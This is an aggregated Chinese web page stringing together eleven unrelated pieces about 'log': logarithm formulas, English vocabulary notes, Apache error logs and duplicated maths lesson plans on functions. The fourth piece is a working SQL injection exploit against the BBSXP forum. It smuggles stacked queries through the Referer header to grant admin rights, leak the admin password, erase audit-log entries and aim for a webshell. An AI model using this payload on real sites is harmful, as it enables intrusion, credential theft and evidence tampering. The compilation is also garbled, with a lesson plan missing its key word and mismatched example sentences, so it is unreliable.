以下是小编给大家收集的log是什么函数，本文共11篇，欢迎大家前来参阅。
篇1：log是什么函数
对数函数的常用简略表达方式：
（1）log(a)(b^n)=nlog(a)(b)(a为底数）(n属于R)。
（2）lg(b)=log(10)(b)（10为底数）。
（3）ln(b)=log(e)(b)（e为底数）。
篇2：log的过去式
log例句分享
The captain keeps a log.
船长记航海日志。
He was chopping logs for firewood.
他在把原木劈成柴火。
The college students spent their summer logging in the wood.
大学生们暑假里在森林里伐木。
篇3：Log On: 进入系统
Log On: 进入系统
美国微软公司推出了一套键盘和鼠标，可利用“指纹读出装置”来识别用户，这样就使用户在使用个人电脑和上网时变得更加容易。
外电报道如下：
Microsoft Corp. unveiled a new array of keyboard and mice, with some featuring built-in fingerprint readers to make it easier for users to log on to personal computers and Web sites.
Log on的意思是“进入系统”，等于log in. 例如：In order to log in to the system, you have to type in a special password.（为了进入该系统，必须键入特殊的通行密码）。Log off/out的'意思则是“退出系统”。
常用的计算机术语如下：
cursor（光标）；interface（界面）；password（口令）；Browser（浏览器）double click（双击）；page setup（页面设置）；CPU（Center Processor Unit）（中央处理单元）等。
篇4：bbsxp log注入
参数直接带如查询的函数和过程
menu
BBSList
ForumTree
Log
ShowRank
ShowRole
DelFile//deletefile
还记的以前在blog发的一篇bbsxp分析文档，computer.mblogger.cn/whytt/posts/59457.aspx
由于当时只看到在监狱那里有对log的引用，而没看到这里居然还有，所以一直没继续看下去，考试大部分完了，现在每天没撒事，于是看看代码打发时间，今天早上选的是bbsxp来开刀，嘿嘿~~~~
在bank.asp这个文件中，在倒数第6行那里有个对log过程的引用，
就是在银行转帐这里，思路是这里的，
先注册2个用户，拿一个用户跟几个帖子，赚10个金币，然后去银行那里去转帐，选自己刚才注册的另一个用户，然后抓个包，修改数据包里的相关参数，具体请看log过程
sub Log(Message)
if Request.ServerVariables(“Query_String”)“” then Query_String=“?”&Request.ServerVariables(“Query_String”)&“”
Conn.Execute(“insert into [BBSXP_Log] (UserName,IPAddress,UserAgent,HttpVerb,PathAndQuery,Referrer,ErrDescription,POSTData,Notes) values ('”&CookieUserName&“','”&Request.ServerVariables(“REMOTE_ADDR”)&“','”&HTMLEncode(Request.Servervariables(“HTTP_User_AGENT”))&“','”&Request.ServerVariables(“request_method”)&“','”&Request.ServerVariables(“server_name”)&“”&Request.ServerVariables(“script_name”)&“”&Query_String&“','”&Request.ServerVariables(“HTTP_REFERER”)&“','”&Err.Description&“','”&Request.Form&“','”&Message&“')”)
end sub
我们就拿其中的Request.ServerVariables(“HTTP_REFERER”)来注入，这个log过程在我转帐的时候执行的查询
insert into [BBSXP_Log] (UserName,IPAddress,UserAgent,HttpVerb,PathAndQuery,Referrer,ErrDescription,POSTData,Notes) values ('whytt1','127.0.0.1','Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.0)','POST','127.0.0.1/Bank.asp','127.0.0.1/Bank.asp','','menu=virement&qmoney=10&dxname=whytt&B2=+%C8%B7+%B6%A8+','whytt1 通过银行转帐 ￥10 给 whytt')
其中最后一个127.0.0.1/Bank.asp就是我们需要修改的Request.ServerVariables(“HTTP_REFERER”)，为127.0.0.1/Bank.asp','','menu=virement&qmoney=10&dxname=whytt&B2=+%C8%B7+%B6%A8+','whytt1 通过银行转帐 ￥10 给 whytt');update bbsxp_users set userRoleid=1,usermoney=999,usermail=(select top 1 adminpassword from bbsxp_sitesettings) where username='whytt';update bbsxp_sitesettings set adminpassword=(select userpass from bbsxp_users where username='whytt');delete from bbsxp_log where username='tt521' or username='xiaot';--
这样带入查询就是：
insert into [BBSXP_Log] (UserName,IPAddress,UserAgent,HttpVerb,PathAndQuery,Referrer,ErrDescription,POSTData,Notes) values ('whytt1','127.0.0.1','Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.0)','POST','127.0.0.1/Bank.asp','127.0.0.1/Bank.asp','','menu=virement&qmoney=10&dxname=whytt&B2=+%C8%B7+%B6%A8+','whytt1 通过银行转帐 ￥10 给 whytt');update bbsxp_users set userRoleid=1,usermoney=999,usermail=(select top 1 adminpassword from bbsxp_sitesettings) where username='whytt';update bbsxp_sitesettings set adminpassword=(select userpass from bbsxp_users where username='whytt');delete from bbsxp_log where username='tt521' or username='xiaot';--这样就把我们的whytt设置成了管理员了，而且把后台密码输出到whytt的油箱那里，而且给自己加上了999 的金币，哈哈够用了吧，
最后删除log表中我们的操作记录，最后然后进后台看web的绝对路径，然后通过backup log来拿webshell。
By WhyTt
补充：为了进一步确认数据库的类型，可以通过bbsxp的一个小bug来实现。
127.0.0.1/UserTop.asp?order='whytt''0
这里有时候不暴错，就在后面乱加些字符吧。。呵呵~~~我测试过，加了几次就暴错，就看到数据库的类型了。 ：）
后来发现用bank.asp这里来搞非常费力，要有足够的金币，所以又专门找了下其他asp文件，发现在
if Request.Form(“UpFileID”)“” then
UpFileID=split(Request.form(“UpFileID”),“,”)
for i = 0 to ubound(UpFileID)-1
Conn.execute(“update [BBSXP_UpFiles] set Category='”&Category&“',Description='”&Subject&“' where id=”&int(UpFileID(i))&“ and UserName='”&CookieUserName&“'”)
next
end if
response.write (“”)
Log(“修改帖子成功，主题ID：”&ThreadID&“，帖子ID：”&PostID&“”)
这个editpost.asp文件也有对log过程的引用，于是方法简单了，发个帖子，然后edit，然后修改抓到的数据包，重复修改Request.ServerVariables(“HTTP_REFERER”)，就可以达到同样的效果，呵呵~~
篇5：手机log是什么意思
错误日志无论在格式上还是在内容上都和访问日志不同。然而，错误日志和访问日志一样也提供丰富的信息，我们可以利用这些信息分析服务器的运行情况、哪里出现了问题。
错误日志的文件名字是error_log，但如果是Win平台，则错误日志的文件名字是error.log。错误日志的`位置可以通过ErrorLog指令设置：
ErrorLog logs/error.log
除非文件位置用“/”开头，否则这个文件位置是相对于ServerRoot目录的相对路径。如果阿帕奇采用默认安装方式安装，那么错误日志的位置应该在/usr/local/apache/logs下。但是，如果阿帕奇用某种包管理器安装，错误日志很可能在其他位置。
正如其名字所示，错误日志记录了服务器运行期间遇到的各种错误，以及一些普通的诊断信息，比如服务器何时启动、何时关闭等。
我们可以设置日志文件记录信息级别的高低，控制日志文件记录信息的数量和类型。这是通过LogLevel指令设置的，该指令默认设置的级别是error，即记录称得上错误的事件。
大多数情况下，我们在日志文件中见到的内容分属两类：文档错误和CGI错误。但是，错误日志中偶尔也会出现配置错误，另外还有前面提到的服务器启动和关闭信息。
篇6：英语log的用法
log
英 [lɒɡ] 美 [lɔːɡ]
log的含义：
n. 原木;圆木;(航海、飞行)日志;(船)计程仪
v. 伐木;记入(日志)
adj. 圆木制成的
log的词形变化：
1.复数： logs
2.过去式： logged
3.过去分词： logged
4.现在分词：logging
5.第三人称单数： logs
log的常用短语和例句：
1.log in〔on〕 (v.+adv.)
开始工作 (especially concerning a large calculating machine) to start work
In order to log in you have to type in a special password.为了进入,你必须打入特殊的通行密码。
2.log off
结束工作 (especially concerning a large calculating machine) to finish work
It took two hours to complete the calculation, so we logged off at 4 o'clock.我们花了两个小时才完成计算,因而是在四点结束工作的。
3.log up (v.+adv.)
①把…记入航海或飞行日志 mark up in a log-book
They logged up the ship's position regularly. 他们定时把船的方位记入航海日志。
The ship has now logged up voyages equal to a distance ten times round the world. 该船迄今已有相当于环球10周的航程记录。
②取得 achieve
We have logged up a remarkable series of gains in technical innovation. 我们已在技术革新方面取得一系列可观的成就。
Our team has logged up an unusual number of wins this season. 这个赛季里我们队获胜的次数异常多。
4. (as) easy as falling off a log1(informal)very easy (非正式)易如反掌
篇7：log的用法和辨析
词汇精选：log的用法和辨析
一、详细释义：
n.
原木 [C]
例句：
The log was swirled away downstream by the current.
水流载着原木盘旋而下。
例句：
They are sawing a log into planks.
他们把原木锯成一块块厚板。
正式记录，日志;航海日志，飞行日志 [C]
例句：
The captain described the wreck accident in details in the ship's log.
船长在航行日志里详细地描述了这次沉船事故。
例句：
The most valuable find of all was the ship's log book, parts of which it was still possible to read.
打捞到的东西中最有价值的是船上的航海日志，其中有一部分仍然清晰可读。
【数】=logarithm 对数
例句：
I have to declare my interest today.
今天我必须申明利害关系。
v.
把...载入正式记录;记录 [T]
例句：
How much downtime did we log last week?
上周我们的工作日志上记录有多少停工的时间?
例句：
It can be used to log the receipt times of periodic real-time input data.
它可以用来记录周期性的实时输入数据的接收时间。
行驶，行进(若干距离或时间) [T]
例句：
How many hours did the plane log in the sky between April 30 and May 15?
这架飞机于四月三十日至五月十五日期间在空中飞行了多少小时?
伐木 [T]
例句：
We'll log another section of the area today.
今天我们要砍伐另一部分林区的树木。
例句：
They are logging for a living.
他们以伐木为生。
二、词义辨析：
lumber,timber,wood,log
这些名词均有“木材”、“木”之意。 lumber指伐下后未经削磨的木材，现多用于美国英语中。 timber指经过匠人初步加要的备用木材，多用于英国英语。 wood最普通用词，含义广，除表示“木材，木”外，还可用复数形式表示森林。 log指原木或圆木。
三、相关短语：
log cabin
n. 小木屋
log in
在网络上联接主机[服务器]的操作
log on
登录
log out
注销;退出，离开(计算机系统)
harpoon log
鱼镖式计程仪
log line
测程线，测程仪绳，测量仪绳
log off
在网络上中止联接主机[服务器]的操作
saw log
锯材原木，锯材原木，锯架，锯架
taffrail log
船速仪
patent log
拖曳式计程仪
yule log
n. 圣诞柴,圣诞节原木形大蛋糕
四、参考例句：
Plese log on the web,
请登录网站。
Log is missing necessary information.
日志缺少了必要的信息。
A log fire crackled in the fireplace.
一节原木在壁炉里烧得劈啪作响。
Sparks flew from the roaring log fire.
火星从呼呼燃烧的木火上直冒出来。
The log fire was blazing merrily.
木柴烧得正旺。
After each use, please remember log out.
使用完毕，请记得登出账号。
The log fire looked warm and inviting.
篝火看上去温暖诱人。
They are sawing a log into planks.
他们把原木锯成一块块厚板。
Parts of the log book were recognized.
航海日志的若干部分还是能被辨认出来的。
You need a password to log on.
你需要密码才能登录。
log词组 |习惯用语
log in 注册;请求联机
log on [计]登录;注册
well log 测井曲线;钻井日志
in the log (木材)未经斧削的;处于原木状态的
log file 日志文件
like a log 象木头一样不动;无知觉的
error log 错误日志
event log 事件日志;事件记录
log cabin n. 小木屋
log off [计]注销;断线，退出系统
log book 航海日志;记录簿;值班日记
resistivity log 电阻率测井
log out 注销;退出系统
audit log 审计日志
compensated neutron log 补偿中子测井
ship's log 航海日志
caliper log 钻孔直径记录图
log entry 航海日志记录;值班日志记录
porosity log 孔隙度测井
yule log n. 圣诞柴;圣诞节原木形大蛋糕
篇8：函数
教学目标
1．理解的概念，了解的三种表示法，会求的定义域．
（1）了解是特殊的映射，是非空数集A到非空数集B的映射．能理解是由定义域，值域，对应法则三要素构成的整体．
（2）能正确认识和使用的三种表示法：解析法，列表法，和图象法．了解每种方法的优点．
（3）能正确使用“区间”及相关符号，能正确求解各类的定义域．
2．通过概念的学习，使学生在符号表示，运算等方面的能力有所提高．
（1）对记号 有正确的理解，准确把握其含义，了解 ( 为常数)与 的区别与联系；
（2）在求定义域中注意运算的合理性与简洁性．
3．通过定义由变量观点向映射观点的过渡，是学生能从发展的角度看待数学的学习．
教学建议
1．教材分析
（1）知识结构
（2）重点难点分析
本小节的重点是在映射的基础上理解的概念．，主要包括对的定义，表示法，三要素的作用的理解与认识．教学难点 是的定义和符号的认识与使用．
①由于学生在初中已学习了的变量观点下的定义，并具体研究了几类最简单的，对并不陌生，所以在高中重新定义时，重要的是让学生认识到它的优越性，它从根本上揭示了的本质，由定义域，值域，对应法则三要素构成的整体，让学生能主动将与解析式区分开来．对这一点的认识对于后面的性质的研究都有很大的帮助．
②在本节中首次引入了抽象的符号 ，学生往往只接受具体的解析式，而不能接受 ，所以应让学生从符号的含义认识开始，在符号中， 在法则 下对应 ，不是 与 的乘积，符号本身就是三要素的体现．由于 所代表的对应法则不一定能用解析式表示，故表示的方法除了解析法以外，还有列表法和图象法．此外 本身还指明了谁是谁的，有利于我们分清解析式中的常量与变量．如 ，它应表示以 为自变量的二次，而如果写成 ，则我们就不能准确了解谁是变量，谁是常量，当 为变量时，它就不代表二次．
2．教法建议
（1）高中对内容的学习是初中内容的深化和延伸．深化首先体现在的定义更具一般性．故教学中可以让学生举出自己熟悉的例子，并用变量观点加以解释，教师再给出如： 是不是的问题，用变量定义解释显得很勉强，而如果从集合与映射的观点来解释就十分自然，所以有重新认识的必要．
（2）对是三要素构成的整体的认识，一方面可以通过对符号 的了解与使用来强化，另一方面也可通过判断两个是否相同来配合．在这类题目中，可以进一步体现出三要素整体的作用．
（3）关于对分段的认识，首先它的出现是一种需要，可以给出一些实际的例子来说明这一点，对自变量不同取值，用不同的解析式表示同一个关系，所以是一个而不是几个，其次还可以举一些数学的例子如 这样的，若利用绝对值的定义它就可以写成 ，这就是一个分段，从这个题中也可以看出分段是一个．
教学设计方案
2.2
教学目标 ：
1．理解的概念，了解三要素．
2．通过对抽象符号的认识与使用，使学生在符号表示方面的能力得以提高．
3．通过定义由变量观点向映射观点得过渡，使学生能从发展与联系的角度看待数学学习．
教学重点难点：重点是在映射的基础上理解的概念；
难点是对抽象符号的认识与使用．
教学用具：投影仪
教学方法：自学研究与启发讨论式．
教学过程 ：
一、复习与引入
今天我们研究的内容是的概念．并不象前面学习的集合，映射一样我们一无所知，而是比较熟悉，所以我先找同学说说对的认识，如是什么?学过什么?
(要求学生尽量用自己的话描述初中的定义，并试举出各类学过的例子)
学生举出如 等，待学生说完定义后教师打出投影片，给出定义之后教师也举一个例子，问学生．
提问1． 是吗?
(由学生讨论，发表各自的意见，有的认为它不是，理由是没有两个变量，也有的认为是，理由是可以可做 ．)
教师由此指出我们争论的焦点，其实就是定义的不完善的地方，这也正是我们今天研究定义的必要性，新的定义将在与原定义不相违背的基础上从更高的观点，将它完善与深化．
二、新课
现在请同学们打开书翻到第50 页，从这开始阅读有关的内容，再回答我的问题．(约2-3分钟或开始提问)
提问2．新的的定义是什么?能否用最简单的语言来概括一下．
学生的回答往往是把书上的定义念一遍，教师可以板书的形式写出定义，但还要引导形式发现定义的本质．
(板书)2．2
一、的概念
1．定义：如果A，B都是非空的数集，那么A到B的映射 就叫做A到B的，记作 ．其中原象集合A称为定义域，象集C 称为值域．
问题3：映射与有何关系?(一定是映射吗?映射一定是吗?)
引导学生发现，是特殊的映射，特殊在集合A，B必是非空的数集．
2．本质：是非空数集到非空数集的映射．(板书)
然后让学生试回答刚才关于 是不是的问题，要求从映射的角度解释．
此时学生可以清楚的看到 满足映射观点下的定义，故是一个，这样解释就很自然．
教师继续把问题引向深入，提出在映射的观点下如何解释 是个?
从映射角度看可以是 其中定义域是 ，值域是 ．
从刚才的分析可以看出，映射观点下的定义更具一般性，更能揭示的本质．这也是我们后面要对进行理论研究的一种需要．所以我们着重从映射角度再来认识．
3．的三要素及其作用(板书)
是映射，自然是由三件事构成的一个整体，分别称为定义域．值域和对应法则．当我们认识一个时，应从这三方面去了解认识它．
例1以下关系式表示吗?为什么?
(1) ； (2) ．
解：(1)由 有意义得 ，解得 ．由于定义域是空集，故它不能表示．
(2) 由 有意义得 ，解得 ．定义域为 ，值域为 ．
由以上两题可以看出三要素的作用
(1)判断一个关系是否存在．(板书)
例2下列各中，哪一个与 是同一个．
(1) ； (2) (3) ； (4) ．
解：先认清 ，它是 (定义域)到 (值域)的映射，其中
．
再看(1)定义域为 且 ，是不同的； (2)定义域为 ，是不同的；
(4) ，法则是不同的；
而(3)定义域是 ，值域是 ，法则是乘2减1，与 完全相同．
求解后要求学生明确判断两个是否相同应看定义域和对应法则完全一致，这时三要素的又一作用．
(2)判断两个是否相同．（板书）
下面我们研究一下如何表示，以前我们学习时虽然会表示，但没有相系统研究的表示法，其实表示法有很多，不过首先应从记号 说起．
4．对符号 的理解(板书)
首先让学生知道 与 的含义是一样的，它们都表示 是 的，其中 是自变量， 是值，连接的纽带是法则 ，所以这个符号本身也说明是三要素构成的整体．下面我们举例说明．
例3已知 试求 (板书)
分析：首先让学生认清 的含义，要求学生能从变量观点和映射观点解释，再进行计算．
含义1：当自变量 取3时，对应的值即 ；
含义2：定义域中原象3的象 ，根据求象的方法知 ．而 应表示原象 的象，即 ．
计算之后，要求学生了解 与 的区别， 是常量，而 是变量， 只是 中一个特殊值．
最后指出在刚才的题目中 是用一个具体的解析式表示的，而以后研究的 不一定能用一个解析式表示，此时我们需要用其他的方法表示，具体的方法下节课再进一步研究．
三、小结
1. 的定义
2. 对三要素的认识
3. 对符号的认识
四、作业 ：略
五、板书设计
2．2 例1． 例3． 一. 的概念 1. 定义 2. 本质 例2． 小结： 3. 三要素的认识及作用 4. 对符号的理解 |
探究活动
在数学及实际生活中有着广泛的应用，在我们身边就存在着很多与有关的问题如在我们身边就有不少分段的实例，下面就是一个生活中的分段．
夏天，大家都喜欢吃西瓜，而西瓜的价格往往与西瓜的重量相关．某人到一个水果店去买西瓜，价格表上写的是：6斤以下，每斤0．4元．6斤以上9斤以下，每斤0．5元，9斤以上，每斤0．6元．此人挑了一个西瓜，称重后店主说5元1角，1角就不要了，给5元吧，可这位聪明的顾客马上说，你不仅没少要，反而多收了我钱，当顾客讲出理由，店主只好承认了错误，照实收了钱．
同学们，你知道顾客是怎样店主坑人了呢?其实这样的数学问题在我们身边有很多，只要你注意观察，积累，并学以至用，就能成为一个聪明人，因为数学可以使人聪明起来．
答案：
若西瓜重9斤以下则最多应付4.5元,若西瓜重9斤以上,则最少也要5.4元,不可能出现5.1元这样的价钱,所以店主坑人了．
篇9：函数
函数
教学目标
1．理解函数的概念，了解函数的三种表示法，会求函数的定义域．
（1）了解函数是特殊的映射，是非空数集A到非空数集B的映射．能理解函数是由定义域，值域，对应法则三要素构成的整体．
（2）能正确认识和使用函数的三种表示法：解析法，列表法，和图象法．了解每种方法的优点．
（3）能正确使用“区间”及相关符号，能正确求解各类函数的定义域．
2．通过函数概念的学习，使学生在符号表示，运算等方面的能力有所提高．
（1）对函数记号 有正确的理解，准确把握其含义，了解 ( 为常数)与 的区别与联系；
（2）在求函数定义域中注意运算的合理性与简洁性．
3．通过函数定义由变量观点向映射观点的过渡，是学生能从发展的角度看待数学的学习．
教学建议
1．教材分析
（1）知识结构
（2）重点难点分析
本小节的重点是在映射的基础上理解函数的概念．，主要包括对函数的定义，表示法，三要素的作用的理解与认识．教学难点是函数的定义和函数符号的认识与使用．
①由于学生在初中已学习了函数的变量观点下的定义，并具体研究了几类最简单的函数，对函数并不陌生，所以在高中重新定义函数时，重要的是让学生认识到它的优越性，它从根本上揭示了函数的本质，由定义域，值域，对应法则三要素构成的整体，让学生能主动将函数与函数解析式区分开来．对这一点的认识对于后面函数的性质的研究都有很大的帮助．
②在本节中首次引入了抽象的函数符号 ，学生往往只接受具体的函数解析式，而不能接受 ，所以应让学生从符号的含义认识开始，在符号中， 在法则 下对应 ，不是 与 的乘积，符号本身就是三要素的体现．由于 所代表的对应法则不一定能用解析式表示，故函数表示的方法除了解析法以外，还有列表法和图象法．此外 本身还指明了谁是谁的函数，有利于我们分清函数解析式中的常量与变量．如 ，它应表示以 为自变量的二次函数，而如果写成 ，则我们就不能准确了解谁是变量，谁是常量，当 为变量时，它就不代表二次函数．
2．教法建议
（1）高中对函数内容的学习是初中函数内容的深化和延伸．深化首先体现在函数的定义更具一般性．故教学中可以让学生举出自己熟悉的函数例子，并用变量观点加以解释，教师再给出如： 是不是函数的问题，用变量定义解释显得很勉强，而如果从集合与映射的观点来解释就十分自然，所以有重新认识函数的必要．
（2）对函数是三要素构成的整体的认识，一方面可以通过对符号 的了解与使用来强化，另一方面也可通过判断两个函数是否相同来配合．在这类题目中，可以进一步体现出三要素整体的作用．
（3）关于对分段函数的认识，首先它的出现是一种需要，可以给出一些实际的例子来说明这一点，对自变量不同取值，用不同的解析式表示同一个函数关系，所以是一个函数而不是几个函数，其次还可以举一些数学的例子如 这样的函数，若利用绝对值的定义它就可以写成 ，这就是一个分段函数，从这个题中也可以看出分段函数是一个函数．
教学设计方案
2.2 函数
教学目标：
1．理解函数的概念，了解函数三要素．
2．通过对函数抽象符号的认识与使用，使学生在符号表示方面的能力得以提高．
3．通过函数定义由变量观点向映射观点得过渡，使学生能从发展与联系的角度看待数学学习．
教学重点难点：重点是在映射的基础上理解函数的概念；
难点是对函数抽象符号的认识与使用．
教学用具：投影仪
教学方法：自学研究与启发讨论式．
教学过程：
一、复习与引入
今天我们研究的内容是函数的概念．函数并不象前面学习的集合，映射一样我们一无所知，而是比较熟悉，所以我先找同学说说对函数的认识，如函数是什么?学过什么函数?
(要求学生尽量用自己的话描述初中函数的定义，并试举出各类学过的函数例子)
学生举出如 等，待学生说完定义后教师打出投影片，给出定义之后教师也举一个例子，问学生．
提问1． 是函数吗?
(由学生讨论，发表各自的意见，有的认为它不是函数，理由是没有两个变量，也有的认为是函数，理由是可以可做 ．)
教师由此指出我们争论的焦点，其实就是函数定义的不完善的地方，这也正是我们今天研究函数定义的必要性，新的定义将在与原定义不相违背的基础上从更高的观点，将它完善与深化．
二、新课
现在请同学们打开书翻到第50 页，从这开始阅读有关的内容，再回答我的问题．(约2-3分钟或开始提问)
提问2．新的函数的定义是什么?能否用最简单的语言来概括一下．
学生的回答往往是把书上的定义念一遍，教师可以板书的形式写出定义，但还要引导形式发现定义的本质．
(板书)2．2函数
一、函数的概念
1．定义：如果A，B都是非空的数集，那么A到B的映射 就叫做A到B的函数，记作 ．其中原象集合A称为定义域，象集C 称为值域．
问题3：映射与函数有何关系?(函数一定是映射吗?映射一定是函数吗?)
引导学生发现，函数是特殊的映射，特殊在集合A，B必是非空的数集．
2．本质：函数是非空数集到非空数集的映射．(板书)
然后让学生试回答刚才关于 是不是函数的问题，要求从映射的角度解释．
此时学生可以清楚的看到 满足映射观点下的函数定义，故是一个函数，这样解释就很自然．
教师继续把问题引向深入，提出在映射的观点下如何解释 是个函数?
从映射角度看可以是 其中定义域是 ，值域是 ．
从刚才的分析可以看出，映射观点下的函数定义更具一般性，更能揭示函数的本质．这也是我们后面要对函数进行理论研究的一种需要．所以我们着重从映射角度再来认识函数．
3．函数的三要素及其作用(板书)
函数是映射，自然是由三件事构成的一个整体，分别称为定义域．值域和对应法则．当我们认识一个函数时，应从这三方面去了解认识它．
例1以下关系式表示函数吗?为什么?
(1) ； (2) ．
解：(1)由 有意义得 ，解得 ．由于定义域是空集，故它不能表示函数．
(2) 由 有意义得 ，解得 ．定义域为 ，值域为 ．
由以上两题可以看出三要素的作用
(1)判断一个函数关系是否存在．(板书)
例2下列各函数中，哪一个函数与 是同一个函数．
(1) ； (2) (3) ； (4) ．
解：先认清 ，它是 (定义域)到 (值域)的映射，其中
．
再看(1)定义域为 且 ，是不同的； (2)定义域为 ，是不同的；
(4) ，法则是不同的；
而(3)定义域是 ，值域是 ，法则是乘2减1，与 完全相同．
求解后要求学生明确判断两个函数是否相同应看定义域和对应法则完全一致，这时三要素的'又一作用．
(2)判断两个函数是否相同．（板书）
下面我们研究一下如何表示函数，以前我们学习时虽然会表示函数，但没有相系统研究函数的表示法，其实表示法有很多，不过首先应从函数记号 说起．
4．对函数符号 的理解(板书)
首先让学生知道 与 的含义是一样的，它们都表示 是 的函数，其中 是自变量， 是函数值，连接的纽带是法则 ，所以这个符号本身也说明函数是三要素构成的整体．下面我们举例说明．
例3已知函数 试求 (板书)
分析：首先让学生认清 的含义，要求学生能从变量观点和映射观点解释，再进行计算．
含义1：当自变量 取3时，对应的函数值即 ；
含义2：定义域中原象3的象 ，根据求象的方法知 ．而 应表示原象 的象，即 ．
计算之后，要求学生了解 与 的区别， 是常量，而 是变量， 只是 中一个特殊值．
最后指出在刚才的题目中 是用一个具体的解析式表示的，而以后研究的函数 不一定能用一个解析式表示，此时我们需要用其他的方法表示，具体的方法下节课再进一步研究．
三、小结
1. 函数的定义
2. 对函数三要素的认识
3. 对函数符号的认识
四、作业：略
五、板书设计
2．2函数 例1． 例3．
一. 函数的概念
1. 定义
2. 本质 例2． 小结：
3. 函数三要素的认识及作用
4. 对函数符号的理解
探究活动
函数在数学及实际生活中有着广泛的应用，在我们身边就存在着很多与函数有关的问题如在我们身边就有不少分段函数的实例，下面就是一个生活中的分段函数．
夏天，大家都喜欢吃西瓜，而西瓜的价格往往与西瓜的重量相关．某人到一个水果店去买西瓜，价格表上写的是：6斤以下，每斤0．4元．6斤以上9斤以下，每斤0．5元，9斤以上，每斤0．6元．此人挑了一个西瓜，称重后店主说5元1角，1角就不要了，给5元吧，可这位聪明的顾客马上说，你不仅没少要，反而多收了我钱，当顾客讲出理由，店主只好承认了错误，照实收了钱．
同学们，你知道顾客是怎样店主坑人了呢?其实这样的数学问题在我们身边有很多，只要你注意观察，积累，并学以至用，就能成为一个聪明人，因为数学可以使人聪明起来．
答案：
若西瓜重9斤以下则最多应付4.5元,若西瓜重9斤以上,则最少也要5.4元,不可能出现5.1元这样的价钱,所以店主坑人了．
篇10：函数
教学目标：
1、进一步理解的概念，能从简单的实际事例中，抽象出关系，列出解析式；
2、使学生分清常量与变量，并能确定自变量的取值范围.
3、会求值，并体会自变量与值间的对应关系.
4、使学生掌握解析式为只含有一个自变量的简单的整式、分式、二次根式的的自变量的取值范围的求法.
5、通过的教学使学生体会到事物是相互联系的.是有规律地运动变化着的.
教学重点：了解的意义，会求自变量的取值范围及求值.
教学难点：概念的抽象性.
教学过程：
（一）引入新课：
上一节课我们讲了的概念：一般地，设在一个变化过程中有两个变量x、y，如果对于x的每一个值，y都有唯一的值与它对应，那么就说x是自变量，y是x的.
生活中有很多实例反映了关系，你能举出一个，并指出式中的自变量与吗？
1、学校计划组织一次春游，学生每人交30元，求总金额y（元）与学生数n（个）的关系.
2、为迎接新年，班委会计划购买100元的小礼物送给同学，求所能购买的总数n（个）与单价（a）元的关系.
解：1、y=30n
y是，n是自变量
2、，n是，a是自变量.
（二）讲授新课
刚才所举例子中的，都是利用数学式子即解析式表示的.这种用数学式子表示时，要考虑自变量的取值必须使解析式有意义.如第一题中的学生数n必须是正整数.
例1、求下列中自变量x的取值范围．
（1） （2）
（3） （4）
（5） （6）
分析：在（1）、（2）中，x取任意实数， 与 都有意义.
（3）小题的 是一个分式，分式成立的条件是分母不为0.这道题的分母是 ，因此要求 .
同理（4）小题的 也是分式，分式成立的条件是分母不为0，这道题的分母是 ，因此要求 且 .
第（5）小题， 是二次根式，二次根式成立的条件是被开方数大于、等于零. 的被开方数是 ．
同理，第(6)小题 也是二次根式, 是被开方数,
.
解：（1）全体实数
（2）全体实数
（3）
（4） 且
（5）
（6）
小结：从上面的例题中可以看出的解析式是整数时，自变量可取全体实数；的解析式是分式时，自变量的取值应使分母不为零；的解析式是二次根式时，自变量的取值应使被开方数大于、等于零.
注意：有些同学没有真正理解解析式是分式时，自变量的取值应使分母不为零，片面地认为，凡是分母，只要 即可.教师可将解题步骤设计得细致一些.先提问本题的分母是什么？然后再要求分式的分母不为零.求出使成立的自变量的取值范围.二次根式的问题也与次类似.
但象第（4）小题，有些同学会犯这样的错误，将答案写成 或 .在解一元二次方程时，方程的两根用“或者”联接，在这里就直接拿过来用.限于初中学生的接受能力，教师可联系日常生活讲清“且”与“或”.说明这里 与 是并且的关系.即2与-1这两个值x都不能取.
例2、自行车保管站在某个星期日保管的自行车共有3500辆次，其中变速车保管费是每辆一次0.5元，一般车保管费是每次一辆0.3元.
（1）若设一般车停放的辆次数为x，总的保管费收入为y元，试写出y关于x的关系式；
（2）若估计前来停放的3500辆次自行车中，变速车的辆次不小于25%，但不大于40%，试求该保管站这个星期日收入保管费总数的范围.
解：（1）
（x是正整数，
（2）若变速车的辆次不小于25%，但不大于40%，
则
收入在1225元至1330元之间
总结：对于反映实际问题的关系，应使得实际问题有意义.这样，就要求联系实际，具体问题具体分析.
对于 ，当自变量 时，相应的y的值是 .60叫做这个当 时的值.
例3、求下列当 时的值：
（1） （2）
（3） （4）
解：1）当 时，
（2）当 时，
（3）当 时，
（4）当 时，
注：本例既锻炼了学生的计算能力，又创设了情境，让学生体会对于x的每一个值，y都有唯一确定的值与之对应.以此加深对的理解.
（二）小结：
这节课，我们进一步地研究了有关的概念.在研究关系时首先要考虑自变量的取值范围.因此，要求大家能掌握解析式含有一个自变量的简单的整式、分式、二次根式的的自变量取值范围的求法，并能求出其相应的值.另外，对于反映实际问题的关系，要具体问题具体分析.
作业 ：习题13.2A组2、3、5
篇11：log的运算法则 log是什么意思
log是什么意思
log在高中数学里表示对数。
一般地，函数y=logax（a>0，且a≠1）叫做对数函数，也就是说以幂（真数）为自变量，指数为因变量，底数为常量的函数，叫对数函数。
通常我们将以10为底的对数叫常用对数（common logarithm），并把log10N记为lgN。另外，在科学计数中常使用以无理数e=2.71828......为底数的对数，以e为底的对数称为自然对数（natural logarithm），并且把logeN 记为In N。
★函数课件
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